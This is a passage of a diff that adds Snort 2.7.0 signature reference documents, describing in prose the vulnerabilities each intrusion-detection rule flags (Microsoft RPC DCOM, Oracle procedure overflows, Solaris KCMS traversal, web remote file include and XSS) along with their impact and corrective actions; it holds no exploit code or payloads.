+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/1187.txt
+++ snort-2.7.0/doc/signatures/1187.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+1187
+
+--
+Summary:
+This event is generated when an attempt is made to exploit an 
+authentication vulnerability in a web server or an application running
+on that server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a web server or an application running ona web server. Some
+applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3177.txt
+++ snort-2.7.0/doc/signatures/3177.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3177
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000730.txt
+++ snort-2.7.0/doc/signatures/100000730.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000730
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Geeklog" application running on a webserver. Access to the file "BlackList.Examine.class.php" using a remote file being passed as the "$_CONF[path]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "$_CONF[path]" parameter in the "BlackList.Examine.class.php" script used by the "Geeklog" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Geeklog
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/2860.txt
+++ snort-2.7.0/doc/signatures/2860.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2860
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure add_priority_date
+. This procedure is included in
+sys.dbms_repcat_conf.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2944.txt
+++ snort-2.7.0/doc/signatures/2944.txt
@@ -0,0 +1,66 @@
+Rule:
+
+--
+Sid:
+2944
+
+--
+Summary:
+This event is generated when an attempt is made to shutdown a Windows
+system via SMB. 
+
+--
+Impact:
+Serious.
+
+--
+Detailed Information:
+This event indicates that an attempt was made to shutdown a Windows
+system via SMB across the network.
+
+It may be possible for an attacker to manipulate a Windows system
+from a remote location. Shutting down a system may lead to a Denial of
+Service for the target host.
+
+--
+Affected Systems:
+	Microsoft Windows systems.
+
+--
+Attack Scenarios:
+An attacker may be able to manipulate a target system using SMB. The
+attacker may gain complete control over the affected system.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the host for signs of system compromise.
+
+Turn off file and print sharing on the target host.
+
+Use a packet filtering firewall to disallow SMB access to the host from
+sources external to the protected network.
+
+Disallow remote registry manipulation.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000780.txt
+++ snort-2.7.0/doc/signatures/100000780.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000780
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site scripting vulnerability in the "Horde" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site scripting vulnerability via the "name" parameter in the "problem.php" script used by the "Horde" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to retrieve sensitive data, execute system binaries or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using Horde
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Dan Raswami <dan.raswami@sourcefire.com>
+
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.7.0.orig/doc/signatures/1163.txt
+++ snort-2.7.0/doc/signatures/1163.txt
@@ -0,0 +1,60 @@
+Rule:  
+
+Sid:
+1163
+
+--
+
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Web server running on an IRIX platform.
+
+--
+Impact:
+Serious. Execution of arbitrary code is possible.
+
+--
+Detailed Information:
+IRIX versions 5.0 through 6.3 contain a CGI script (/var/www/cgi-bin/webdist.cgi) 
+for remote administration purposes. This script, as originally released by 
+SGI, contains a vulnerability that can allow an attacker to run any 
+arbitrary command that the web server user has access to.
+
+--
+Affected Systems:
+	IRIX systems 5.0 to 6.3
+
+--
+Attack Scenarios:
+An attacker makes a request for the script followed by a semi-colon
+character ";" and then the command to be executed.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow the use of this script on the server.
+
+Check for further signs of compromise.
+
+--
+Contributors:
+Original rule writer unknown
+Original document author unkown
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1028.txt
+++ snort-2.7.0/doc/signatures/1028.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+1028
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a web server running Microsoft Internet Information
+Server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Microsoft Internet Information Server (IIS). Many known
+vulnerabilities exist for this platform and the attack scenarios are
+legion.
+
+--
+Affected Systems:
+	All systems running Microsoft IIS
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2636.txt
+++ snort-2.7.0/doc/signatures/2636.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+2636
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases may use a built-in procedure to assist in many
+useful tasks.  The "offline_snapshot.begin_load" procedure is used for
+offline instantiation of snapshots.  This procedure contains a
+programming error that may allow an attacker to execute a buffer
+overflow attack.
+
+This overflow is triggered by a long string in a parameter for the
+procedure.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+        Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string to the "gname" variable to cause
+the overflow. The result could permit the attacker to gain escalated
+privileges and run code of their choosing. This attack requires an
+attacker to logon to the database with a valid username and password
+combination.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck632.html
+
+--
--- snort-2.7.0.orig/doc/signatures/2007.txt
+++ snort-2.7.0/doc/signatures/2007.txt
@@ -0,0 +1,90 @@
+Rule:
+
+--
+Sid:
+2007
+
+--
+Summary:
+KCMS (Kodak Color Management System) is an RPC (Remote Procedure Call)
+service for Sun Solaris operating systems. It is able to read profiles
+stored on remote machines. It is possible for an attacker to bypass
+directory traversal checks and read any file on the remote system.
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a
+compromise of all resources on the machine not limited to user accounts
+and business data.
+
+--
+Detailed Information:
+The attacker first needs to create a directory under
+/etc/openwin/devdata/profiles or /usr/openwin/etc/devdata/profiles,
+using the ToolTalk database server is one method of creating a
+directory. Once this has been achieved, the attacker is then able to
+perform the directory traversal.
+
+The directory traversal allows the attacker to read any file on the
+compromised system. Once a sensitive system file such as the system
+password database has been retrieved, the attacker may use other tools
+at his leisure to discover username and password information. This may
+lead to further system compromise.
+
+The KCMS daemon runs with root privileges and is typically started on
+boot via inetd. The ToolTalk database server is also commonly installed
+and started in this manner. The KCMS daemon usually listens on TCP port
+32871 although this can vary.
+
+--
+Affected Systems:
+	Sun Microsystems Solaris 2.5.1 (Sparc/Intel)
+	Sun Microsystems Solaris 2.6 (Sparc/Intel)
+	Sun Microsystems Solaris 7 (Sparc/Intel)
+	Sun Microsystems Solaris 8 (Sparc/Intel)
+	Sun Microsystems Solaris 9 (Sparc/Intel)
+
+--
+Attack Scenarios:
+The ToolTalk database server procedure TT_ISBUILD can be used to create
+a directory named TT_DB anywhere on a remote system. Creation of this
+directory then allows the attacker to use directory traversal to further
+compromise the machine.
+
+--
+Ease of Attack:
+Once the directory has been created, further compromise is simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disable the KCMS daemon in the file /etc/inetd.conf. Kill any running
+KCMS processes and restart the inet daemon.
+
+Configure your firewall to restrict external access to the TCP and UDP
+port 111 used by the RPC port mapper service and the range used by RPC
+services, typically 32700 to 34000.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CERT:
+http://www.kb.cert.org/vuls/id/850785
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0027
+
+--
--- snort-2.7.0.orig/doc/signatures/3018.txt
+++ snort-2.7.0/doc/signatures/3018.txt
@@ -0,0 +1,67 @@
+Rule: 
+
+--
+Sid: 
+3018
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Samba implementation.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code.
+
+--
+Detailed Information:
+Samba is a file and print serving system for heterogenous networks. It
+is available for use as a service and client on UNIX/Linux systems and as
+a client for Microsoft Windows systems.
+
+Samba uses the SMB/CIFS protocols to allow communication between client
+and server. The SMB protocol contains many commands and is commonly used
+to control network devices and systems from a remote location. A
+vulnerability exists in the way the smb daemon processes commands sent by
+a client system when accessing resources on the remote server.The problem
+exists in the allocation of memory which can be exploited by an attacker
+to cause an integer overflow, possibly leading to the execution of
+arbitrary code on the affected system with the privileges of the user
+running the smbd process.
+
+--
+Affected Systems:
+	Samba 3.0.8 and prior
+
+--
+Attack Scenarios: 
+An attacker needs to supply specially crafted data to the smb daemon to
+overflow a buffer containing the information for the access control lists
+to be applied to files in the smb query.
+
+-- 
+Ease of Attack: 
+Difficult.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/947.txt
+++ snort-2.7.0/doc/signatures/947.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+947
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a web server running Microsoft FrontPage
+Server Extensions.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Microsoft FrontPage Server Extensions. Many known
+vulnerabilities exist for this platform and the attack scenarios are
+legion.
+
+--
+Affected Systems:
+	All systems running Microsoft FrontPage Server Extensions
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000423.txt
+++ snort-2.7.0/doc/signatures/100000423.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000423
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "DotWidget CMS" application running on a webserver. Access to the file "index.php" using a remote file being passed as the "file_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "file_path" parameter in the "index.php" script used by the "DotWidget CMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using DotWidget CMS
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/1986.txt
+++ snort-2.7.0/doc/signatures/1986.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid: 1986
+
+--
+Summary:
+This event is generated when activity relating to network chat clients is detected.
+
+--
+Impact:
+Policy Violation. Use of chat clients to communicate with unkown external sources may be against the policy of many organizations.
+
+--
+Detailed Information:
+Instant Messaging (IM) and other chat related client software can allow users to transfer files directly between hosts. This can allow malicious users to circumvent the protection offered by a network firewall.
+
+Vulnerabilities in these clients may also allow remote attackers to gain unauthorized access to a host.
+
+--
+Attack Scenarios:
+A user may transfer sensitive company information to an external party using the file transfer capabilities of an IM client.
+
+An attacker might utilize a vulnerability in an IM client to gain access to a host, then upload a Trojan Horse program to gain control of that host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow the use of IM clients on the protected network and enforce or implement an organization wide policy on the use of IM clients.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+MSN Protocol
+http://www.hypothetic.org/docs/msn/
+Devarticles
+http://www.devarticles.com/index2.php?option=content&task=view&id=225&pop=1&hide_ads=1&page=1
+MSN Messenger Protocol
+http://www.venkydude.com/articles/msn.htm
+
+--
--- snort-2.7.0.orig/doc/signatures/1307.txt
+++ snort-2.7.0/doc/signatures/1307.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1307
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/708.txt
+++ snort-2.7.0/doc/signatures/708.txt
@@ -0,0 +1,69 @@
+Rule:  
+
+--
+Sid: 708
+
+-- 
+
+Summary: 
+This event is generated when an attempt is made to overflow a buffer in the Microsoft SQL Server and Data Engine.
+
+-- 
+Impact: 
+Serious. A Denial of Service condition or execution of arbitrary code is possible.
+
+--
+Detailed Information:
+A buffer overflow condition exists in some versions of Microsoft SQL Server and Data Engine that may allow an attacker to execute arbitrary code with system privileges or crash the SQL Server.
+
+The attacker must gain access to the SQL Server to exploit this vulnerability.
+
+--
+
+Attack Scenarios: 
+Exploit code exists.
+
+-- 
+
+Ease of Attack: 
+Simple. Exploit code exists.
+
+-- 
+
+False Positives: 
+None Known.
+
+--
+False Negatives:
+None Known
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+Disallow direct access to the SQL server from sources external to the protected network.
+
+Ensure that this event was not generated by a legitimate session then investigate the server for signs of compromise
+
+Look for other events generated by the same IP addresses.
+
+--
+Contributors: 
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-1082
+
+Bugtraq:
+http://www.securityfocus.com/bid/2031
+
+Microsoft:
+http://www.microsoft.com/technet/security/bulletin/ms00-092.asp
+
+--
--- snort-2.7.0.orig/doc/signatures/3132.txt
+++ snort-2.7.0/doc/signatures/3132.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+3132
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer overflow
+associated with the processing of a Portable Network Graphics (PNG) file by
+the GD Graphics Library.
+
+--
+Impact:
+A successful attack may cause a denial of service or a buffer overflow and the
+subsequent execution of arbitrary code on a vulnerable server.
+
+--
+Detailed Information:
+A vulnerability exists in the way that software that handles PNG files,
+libpng, allocates memory for PNG images. A maliciously formatted PNG
+image sent to a vulnerable server may cause a buffer overflow and the
+subsequent execution of arbitrary code on a vulnerable server.  A
+PNG file with an excessively large image height, width, or depth, or
+combination of these can cause a buffer overflow.
+
+--
+Affected Systems:
+	GD Graphics Library 2.0.28 and earlier
+
+--
+Attack Scenarios:
+An attacker can create a malformed PNG file and upload it to a web server,
+possibly causing a buffer overflow.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1431.txt
+++ snort-2.7.0/doc/signatures/1431.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid: 1431
+
+--
+Summary:
+This event is generated when packets with the SYN flag set are sent to 
+multicast addresses.
+
+--
+Impact:
+Possible reconnaisance or evidence of a Denial of Service (DoS) attack.
+
+--
+Detailed Information:
+Under normal circumstances packets with the SYN flag set should not be 
+sent to multicast addresses.
+
+If the attacker has spoofed a multicast address when sending a SYN flood
+attack this traffic will be seen.
+
+an indicator of unauthorized network use, reconnaisance activity or 
+system compromise. These rules may also generate an event due to 
+improperly configured network devices.
+
+--
+Affected Systems:
+	Any
+
+--
+Attack Scenarios:
+The attacker may have intiated an attack and could have spoofed a 
+multicast address as the source.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Employ filtering at the firewall.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2906.txt
+++ snort-2.7.0/doc/signatures/2906.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2906
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure drop_snapshot_repgroup
+. This procedure is included in
+sys.dbms_repcat_sna.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/482.txt
+++ snort-2.7.0/doc/signatures/482.txt
@@ -0,0 +1,56 @@
+Rule:
+
+--
+Sid:
+482
+
+--
+Summary:
+This event is generated when an ICMP echo request is made from a Windows host running Whatsup Gold software.
+
+--
+Impact:
+Information gathering.  An ICMP echo request can determine if a host is active.
+
+--
+Detailed Information:
+An ICMP echo request is used by the ping command to elicit an ICMP echo reply from a listening live host.  An echo request that originates from a Windows host running Whatsup Gold software contains a unique payload in the message request.
+
+--
+Affected Systems:
+All
+
+--
+Attack Scenarios:
+An attacker may attempt to determine live hosts in a network prior to launching an attack.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+An ICMP echo request may be used to legimately troubleshoot networking problems.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Block inbound ICMP echo requests.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.org>
+Documented by Steven Alexander<alexander.s@mccd.edu>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS168
+
+--
--- snort-2.7.0.orig/doc/signatures/700.txt
+++ snort-2.7.0/doc/signatures/700.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+700
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft SQL.
+
+--
+Impact:
+Information gathering and data integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to an implementation of Microsoft SQL server or client.  This can
+lead to unauthorized access and possibly escalated privileges to that of 
+the administrator. Data stored on the machine can be compromised and 
+trust relationships between the victim server and other hosts can be 
+exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
